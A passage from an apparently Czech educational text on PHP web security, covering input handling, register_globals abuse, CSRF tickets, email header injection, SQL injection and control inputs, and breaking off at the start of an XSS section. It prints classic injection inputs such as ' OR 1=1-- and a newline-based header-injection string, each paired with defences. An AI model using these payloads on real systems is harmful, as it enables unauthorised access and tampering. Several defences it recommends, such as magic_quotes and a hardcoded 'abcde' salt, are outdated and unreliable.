5 Vstupy Jsou nejkritičtějším místem aplikace. Špatně ošetřené vstupy mohou dovolit útočníkovi aplikaci ovládnout a zneužít. Jako vstup můžeme označit jakákoliv data přicházející od klienta (tedy z prohlížeče) na server. Jsou to především parametry URI8 a obsahy formulářů (nejen text, ale i soubory). Zároveň do vstupů zahrneme i obsahy cookies, sessions a hlavičky. V PHP jsou dvě možnosti, jak taková data přečíst a zpracovat: • Přímo, pokud je direktiva register_globals serveru nastavena na on. • Přes globální pole $_REQUEST, které sdružuje obsah $_POST, $_GET a $_COOKIE proměnných (do PHP verze 4.3.0 i $_FILES) [4]. • Přes jednotlivá $_POST, $_GET, $_COOKIE nebo $_SESSION. Pole $_REQUEST se v základním nastavení (dá se změnit pomocí variables_order v php.ini) zpracovává v tomto pořadí: GET, POST, COOKIE. Z toho plyne, že pokud útočník doplní do adresního řádku parametr, který je uložen v relaci, může změnit jeho hodnotu pokud používáme k přístupu k těmto informacím globálního pole $_REQUEST.
Register_globals je od PHP verze 4.2.0 z důvodu bezpečnosti automaticky nastaveno na off. To ovšem nezabraňuje jeho aktivaci (přes .htaccess) a použití pohodlnými programátory. Mějme tento ukázkový PHP kód [skript globals.php]: session_start(); $_COOKIE[name] = "Uživatel"; $_COOKIE[level] = "1"; echo "COOKIE: $_COOKIE[level] "; echo "GET: $_GET[level] "; if ($level == 3) echo "Admin"; else echo "User"; Jestliže ho spustíme tak, jak je, vypíše se „User“. To je v pořádku. Jakmile ale pozměníme URL takto: globals.php?level=3, bude na obrazovce svítit „Admin“, protože $_GET má větší prioritu než $_COOKIE.
Obr. 11 Nastavení oprávnění pomocí register_globals Důležité pravidlo z toho plynoucí zní: Používat pro POST, GET, COOKIE a SESSION požadavky jejich
superglobální
proměnné.
Mnoho programátorů žije falešným pocitem bezpečí, když schovávají řídící vstupy ve formulářích a spoléhají na to, že co uživatel nevidí, to nezmění. Tento přístup je chybný a nesmí se opomenout kontrolovat vše. A co tedy hlídat? • Datový typ. Očekáváme-li číslo, musí nám číslo přijít. Přesvědčit se můžeme podmínkou a funkcí is_int(), nebo rovnou nastavit funkcí intval() (případně settype()). 8
Uniform Resource Identifier – identifikátor zdroje - v našem případě stránky. Sbíráme z něj parametry metodou GET (např. http://neco.cz/clanek.php?artid=5)
17
Vstupy • •
Předávací metodu. Data z formulářů se nacházejí v poli $_POST (případně $_GET), soubory jsou ve $_FILES, data relace v $_SESSION atd… Nepovolené znaky. Každý podsystém má sadu znaků, které pro něj mají větší význam než znaky ostatní. V MySQL to jsou například uvozovky. Nejjistější je tyto znaky odstranit (escapovat) a to nejlépe přímo funkcí pro podsystém určenou.
Tolik obecně a nyní z hlediska funkčnosti a zpracování rozdělíme vstupy do dvou skupin:
5.1 Vstupy do subsystémů Nejprve se podíváme na techniky útoků využívající vstupy do podsystémů. Subsystémy představují v naší aplikaci databáze MySQL, textové soubory a souborový systém serveru (pro uploadované uživatelské soubory). Naprostým základem je používat pro požadavky měnící něco v subsystému (databázi) metodu POST. Prohlížeče totiž musí požádat uživatele o svolení, než provedou takovou akci znovu při stisknutí tlačítka Zpět (Opera je výjimkou - načítá z cache, takže se akce neprovedou). Zároveň se tato data neukládají do historie a nejsou tedy dál přístupná.
5.1.1
Lístkový systém
Aby se zajistilo, že požadavek bude mít k dispozici opravdu jen uživatel, který jej vyžádal (tedy že se např. nejedná o podvrhnutý formulář), používá se tzv. ticketový (lístkový) systém. Server vygeneruje každé akci na stránce náhodný řetězec, který uloží do pole lístků v relaci uživatele. Zároveň ho pošle ve skrytém poli klientovi. Ten provede akci, lístek se odešle na server, porovná se s uloženým v relaci a pokud souhlasí, operace je provedena a lístek vymazán. Útočník nemůže vygenerované číslo napodobit a tím pádem ani vytvořit stejný formulář.
print_r($_SESSION['tickets']); -> Array ( [0] => edit-5-543608809436413 ) Samozřejmě zůstane mnoho lístků nevyužitých. Ty je třeba mazat buď hned, nebo po dosažení určitého počtu odstranit několik prvních (nejstarších). Výhodou tohoto postupu navíc je, že není třeba hlídat opakované požadavky (třeba opětovné odeslání POST při obnovení stránky). Nevýhodami jsou zátěž na server při větším množství požadavků a možné vypršení času relace. Stránky omezené lístky by se také neměly ukládat do cache - tím se zaručí, že při každém zobrazení budou k dispozici platné lístky (stránka se načte znovu).
5.1.2
E-mailový formulář
E-mailové formuláře se používají, když chce dát autor stránek návštěvníkům možnost ho kontaktovat, ale zároveň nechce uvádět svou adresu, jako funkce odeslání odkazu na článek známému apod... Uživatel pak vyplní nabídnutá pole a odešle. V PHP se pak formulář jednoduše zpracuje funkcí mail().
18
Vstupy
Obr. 12 Kontaktní formulář BlueForm od BlueBoard.cz [21] uvádí tato doporučení: • dovolujeme-li uživateli vyplnit adresu příjemce, měla by být určitá část zprávy pevná a je vhodné omezit její délku, aby nebyl formulář zneužitelný např. k hromadnému rozesílání nevyžádané pošty nebo vytěžování serverů • není-li adresa příjemce vyplňována (třeba u kontaktního formuláře), neměla by být skryta ve formuláři, ale pracovat by se s ní mělo až na serveru • má-li skript rozesílat různé formuláře na různé adresy, je dobré v aplikaci definovat seznam dovolených adres (pevně v poli nebo třeba uložením do databáze...) a do skrytého pole formuláře pak jen umisťovat jejich ID • je nutno pečlivě kontrolovat údaje, které se následně použijí v hlavičce From nebo Reply-To E-mailová zpráva je tvořena sadou hlaviček oddělenou od textu zprávy prázdným řádkem. Jednotlivé hlavičky dle normy [29] musí být odděleny znaky CR a LF (tedy \r a \n). Některé unixové systémy nahrazují \n automaticky za \r\n. Příklad útoku od [21]: Když útočník zadá do pole pro adresu například toto: adresa\nCc: adresa, ...\n\nNová zpráva a my v kódu tvoříme e-mail tímto způsobem: mail(“Komu”,”Predmet”,”Zprava”,”Reply-To: $_POST[from]”), vytvoří se následující zpráva: To: Komu Subject: Predmet Reply-To: adresa Cc: adresa, ... Nová zpráva Původní zpráva Změní se tak celé znění textu zprávy a navíc má útočník možnost zadat libovolné adresy, kterým se zašle kopie. Řešení je jednoduché - oříznout vstup uživatele za prvním koncem řádku. Dále by jednotlivé řádky zprávy neměly být delší než 70 znaků. Ošetření lze provést funkcí wordwrap($text, 70);
5.1.3
SQL Injection
Ve zkratce se tato technika dá popsat jako schopnost uživatele modifikovat SQL dotaz pomocí předaných parametrů. Stačí dostatečně neošetřit vstupy do MySQL a útok je dílem několika řádek. A rovnou ukázka - podívejme se na příklad kontroly přihlášení uživatele: mysql_query("SELECT * FROM users WHERE login = '$_POST[login]' AND pass = SHA1($_POST[pass])"); Dynamicky se tu skládá dotaz na databázi a všimněte si, že $_POST proměnné nejsou před předáním dotazu nijak upraveny. Stačí tedy, aby uživatel zadal do pole login takovýto text: 19
Vstupy ' OR 1=1-Databáze pak dostane modifikovaný dotaz: SELECT * FROM users WHERE login = '' OR 1=1-- ' AND pass = SHA1($_POST[pass]) MySQL parser pak uvidí konec řetězce následovaný logickou podmínkou, která je vždy splněna (1=1) a znaky -- způsobující, že vše další je bráno jako komentář, takže ověření hesla úplně vypustí. Takto modifikovaný dotaz pak například vybere prvního v databázi (podle toho, jak je skriptem zpracován).
Obr. 13 SQL Injection v praxi
Obr. 14 Výsledek úspěšného útoku Toto je nejjednodušší možnost napadení aplikace - získání přístupu k jakémukoliv účtu (včetně administrátorských, které i většinou bývají v tabulce jako první). Dále je možné získat přístup k citlivým datům uživatelů (hesla, profily...), modifikovat (i smazat) tabulky nebo se vydávat za někoho jiného. Možnosti ukazuje [30]. Nebezpečím jsou také číselné hodnoty neuzavřené v apostrofech. Mějme tento skládaný dotaz: UPDATE gbook SET.... WHERE id = $_POST[id] Útočník změní ve formuláři id na „5 OR 1=1-- „. Provedený dotaz bude mít tvar: UPDATE gbook SET.... WHERE id = 5 OR 1=1-Jak asi tušíte, nezmění se jen záznam číslo 5, ale spolu s ním i všechny ostatní. Zde nepomůže pouze odstraňování nebezpečných znaků. Čeho se není třeba obávat: • PHP funkce mysql_query() nepodporuje vykonávání více dotazů za sebou (oddělených středníkem) a provádění je ukončeno po prvním ;. Není proto třeba řešit problém se vstupem typu '; DELETE FROM... Stále však existuje příkaz UNION. • MySQL narozdíl od MSSQL neumí zavolat externí aplikaci ani systémový příkaz. K rozsáhlejšímu útoku na databázi je třeba mít přehled o její struktuře. Ohromným zdrojem informací jsou chybová hlášení. Jsou-li příliš podrobná, není problém několika pokusy zjistit strukturu tabulky a dál s ní pracovat. Není proto od věci omezit výpis chyb nastavením PHP, případně vlastní funkcí zjistit aktivitu jakéhosi „debug“ módu (třeba testováním, že IP adresa je 127.0.0.1 - localhost), v kterém ladíme skripty a je proto žádoucí vědět, kde se přesně stala jaká chyba. Vypisovat znění celého dotazu při chybě je výborná pomůcka pro ladění, ale zároveň neocenitelná „mapa“ struktury tabulky. Několika pokusy se tak dá zjistit rozsah databáze.
Ochrana Zaručenou obranou proti SQL Injection je upravování všech vstupů, které putují do databáze. Toto by se mělo dít až na straně serveru (tedy zpracujícím PHP skriptem). Ověřování 20
Vstupy JavaScriptem v prohlížeči může nanejvýš upozornit uživatele, že dělá chybu, ale hlavní kontrola musí proběhnout až na serveru. V PHP existuje direktiva magic_quotes_gpc, která v podstatě aplikuje funkci addslahes() na všechny Get, Post a Cookie proměnné. Funguje tak, že escapuje zpětným lomítkem všechny nebezpečné znaky – tedy jednoduché, dvojité uvozovky, zpětné lomítko a znak NULL (\0). Dotaz databázi z příkladu výše by tedy s aktivním magic_quotes_gpc vypadal takto: SELECT * FROM users WHERE login = '\' OR 1=1-- ' AND pass = SHA1($_POST[pass]) Nedojde k předčasnému ukončení řetězce, dle kontextu se hledá neexistující uživatel: \' OR 1=1-- a není odkomentována kontrola hesla – útok se nezdařil.
Obr. 15 Zapnuté magic_quotes_gpc Obrovskou výhodou magic_quotes_gpc je to, že není nutno zpětná lomítka při výstupu odstraňovat - přidávají se jenom na úrovni dotazu a při vkládání do databáze jdou data opět bez nich. Zjištění nastavení direktivy umožňuje funkce get_magic_quotes_gpc(). Aktivaci není možno provést za běhu přes funci ini_set(), ale jedině přímo v php.ini nebo pomocí .htaccess a řádku php_flag magic_quotes_gpc on (je-li dovoleno serverem). Jestliže není možné se na magic_quotes_gpc spolehnout, nezbývá než v závislosti na něm použít přímo funkci addslashes() nebo mysql_real_escape_string() speciálně pro MySQL. U těchto funkcí může zapnuté magic_quotes_gpc způsobit dvojité escapování, takže je dobré se nejprve přesvědčit, zda není aktivní: $vstup = (get_magic_quotes_gpc() ) ? $vstup : addslashes($vstup); Magic_quotes_gpc ale ochrání pouze před vstupy uzavřenými do apostrofů. MySQL umožňuje do nich uzavírat všechny hodnoty, tedy i čísla (mohou se najít výjimky, například konstrukce LIMIT x OFFSET y, tam nejsou apostrofy dovoleny). Alternativou je převést přijatá data na čísla ručně (intval()) nebo rozhodnout, zda je formát vstupu očekávaný (is_int()). Příklad výše by byl tedy zapezpečen jednou z těchto možností (předpokládá se magic_quotes_gpc na on): "UPDATE gbook SET.... WHERE id = '$_POST[id]'" "UPDATE gbook SET.... WHERE id = " . intval($_POST[id]) Upozornění - výše uvedená řešení platí pro MySQL. Jiné databázové systémy mohou escapovat jiným způsobem (například MSSQL zdvojuje apostrofy místo přidání zpětného lomítka). Pro tento případ existují další direktivy magic_quotes_sysbase a magic_quotes_runtime. Podrobnosti v manuálu [31]. Na závěr ještě poznámka, že magic_quotes_gpc způsobí escapování bez ohledu na cíl požadavku. Databáze si s ním poradí sama, ale u ostatních výstupů, jež ho nevyžadují (přímo do HTML, do souboru...), je potřeba escapování odstranit funkcí stripslashes(). Ta není rekurzivní, takže výskyty více zpětných lomítek je třeba hlídat. Příklad uvádí dokumentace k funkci (http://cz.php.net/manual/en/function.stripslashes.php).
21
Vstupy
5.2 Řídící vstupy Jednotlivé skripty aplikace je třeba informovat o tom, jakou akci chce právě uživatel provést, aby mohly adekvátně reagovat. Pro tento účel se používají právě řídící vstupy. Například odkaz vedoucí na zobrazení formuláře pro úpravu příspěvku v diskuzním fóru může vypadat takto: Upravit A právě řídící parametr a=edit řekne aplikaci (konkrétně skriptu forum.php definovaném řídícím parametrem p), že má zobrazit kýžený formulář a načíst do něj data z příspěvku číslo 374 (pid=374). Formulář je tedy zobrazen, vyplněn a spolu s potvrzením úpravy se posílají i řídící vstupy a a pid. Jsou skryté a odesílají se metodou POST - v aplikaci pak můžeme použít stejný identifikátor a rozlišit akce podle metody ($_POST[edit] - úprava databáze vs. $_GET[edit] zobrazení formuláře). ... Při jejich zpracovávání je třeba mít na paměti, že hidden ≠ invisible a není problém skrytá pole upravit (uložením stránky na disk, editací a odesláním). Dále je nutno dbát na přístupová oprávnění. Může se stát, že útočník zamění slovo edit za del (odhadem, po několika pokusech) a jedním kliknutím může smazat jakýkoliv příspěvek. Parametr pid=374 je v tomto případě vstupem do subsystému (databáze dle něj načte správná data) a je třeba se ujistit, že má očekávaný formát (v tomto případě číslo). Obecně jsou řídící vstupy méně nebezpečné než ty subsystémové, protože jsou vždy dále zpracovávány aplikací (výše uvedený příklad zpracovává konstrukce switch) a jejich případná změna vyústí v nejhorším případě ve vykonání podmínky default. Upozornění z této kapitoly: hidden ≠ invisible! I pokud pole schováte před zraky uživatele, ten ho stále může změnit. Jak řídící vstupy chránit? 1. Označení akcí nepřebírat z formuláře přímo, ale zprostředkovaně - přes podmínku (if) nebo přepínač (switch) 2. Identifikátory opatřovat jejich MAC9. MAC tvoří hash identifikátoru a tajného řetězce definovaného aplikací. Při zpracování požadavku pak stačí jen porovnat příchozí a očekávaný (správný) MAC. Funkce tvořící MAC: function GenerujMac($text) { $salt = "abcde"; return sha1($salt.$text.$salt); } Výsledek ve formuláři bude vypadat takto: ... ...
9
Message Authentication Code
22
Vstupy
3.
Zajistí se tím platnost formuláře pouze pro jeden jediný identifikátor. Útočníkovi nestačí jen změnit hodnotu id, ale musel by znát i jeho MAC, k čemuž potřebuje tajný $salt aplikace a způsob tvorby hashe. Nechránit nijak. O to větší pozornost je pak třeba dávat kontrole oprávnění.
5.2.1
Kontrola oprávnění
Samozřejmostí je, že aplikace bude pracovat s daty. Návštěvní kniha nebo redakční systém se určitě neomezí pouze na přidávání záznamů (článků, rubrik...) ale bude disponovat pokročilejší manipulací. Zde ovšem dochází k častým bezpečnostním nedostatkům kvůli absenci úplné kontroly oprávnění. Každá akce se skládá ze dvou částí - zobrazení formuláře (odkazu...), kde se provedou změny, a jeho odeslání, kterým se úpravy zanesou do subsystému. Podmínkou pro vypsání formuláře je mít patřičná oprávnění - být administrátorem, autorem příspěvku apod... Není přípustné předpokládat, že požadavky přijdou v pořadí formulář -> změna. Útočník může formulář napodobit a odeslat jej přímo, aniž by ho předem žádal a tedy aniž by proběhla kontrola oprávnění ke zobrazení. Z toho vychází potřeba provést kontrolu oprávnění i pro přijatá data. Na to se ovšem často zapomíná. Není proto problém změnit identifikátor příspěvku skrytý ve formuláři a editovat tak jakýkoliv jiný (nebo všechny, pokud není aplikace ošetřena proti SQL Injection) text. Nestačí omezit přístup pouze k editačnímu prostředku, je třeba kontrolovat oprávnění i přímo při změně zdroje s omezeným přístupem.
5.3 Obecně Na začátku definujme obecné pravidlo: Všechny vstupy „zvenčí“ považovat za nedůvěryhodné a kontrolovat, zda přijatá hodnota odpovídá tomu, co očekáváme. Musíme mít stále na paměti, že se nedá bezmezně věřit žádnému vstupu přicházejícímu do aplikace. Nezáleží na tom, zda se jedná o data vyžádaná od uživatele, serverem vygenerované informace (řídící vstupy) nebo HTTP hlavičky. Nedá se spoléhat na kontrolu na straně klienta (JavaScriptová validace polí formuláře...), protože ta se dá velmi jednoduše obejít. Stejně tak nemůžeme věřit skrytým polím a informacím v cookies. Je lepší vytvářet tzv. „white-listy“, tedy seznamy bezpečných hodnot, kdy propouštíme pouze explicitně definované vstupy a všechny ostatní odfiltrujeme, než naopak „black-listy“, které představují seznam známých zakázaných vstupů a zbytek je považován za povolený. Očekáváme-li například ve formuláři telefonní číslo, je nutné ve zpracujícím skriptu ověřit, že je délka řetězce 9 znaků a vyskytují se v něm pouze číslice (resp. nejvýše 13 znaků a symbol ‚+‘). Stejně tak je třeba zajistit, že přijaté id upravovaného záznamu je opravdu číslo a nic víc. Subsystémy mívají své speciální funkce a direktivy ošetřující vstupy. Je vhodné se o nich informovat a používat je. Kontrola oprávnění musí být důsledná. Každá akce, která vyvolává změnu musí být povolena přesně definovanému uživateli (skupině). Nesmí se spoléhat na to, že požadavky přijdou v očekávaném pořadí formulář -> data.
23
Výstup
6 Výstup 6.1 XSS10 XSS znamená ve zkratce podstrčení nežádoucího skriptu koncovému uživateli. Prohlížeč vypisující stránku nemůže poznat, který kód je bezpečný a který nikoliv, proto vykoná buď všechny, nebo žádný. Pokud například uloží útočník do databáze diskuzního fóra (coby normální příspěvek) svůj kód (nejčastěji JavaScript) a aplikace neošetří výstup, vykoná se tento kód při každém načtení stránky. Díky tomu může být ukradena relace (session stealing [4.3.1] popsaný výše), zahlcena databáze, může dojít k přesměrování, otevření tisíce oken atd... Hlavním problémem je interpretace HTML kódu. Umožňuje-li ji naše aplikace, může ji uživatel celou zablokovat, zabránit vypsání příspěvků, změnit vzhled a taky vložit svůj skript. Prostý komentář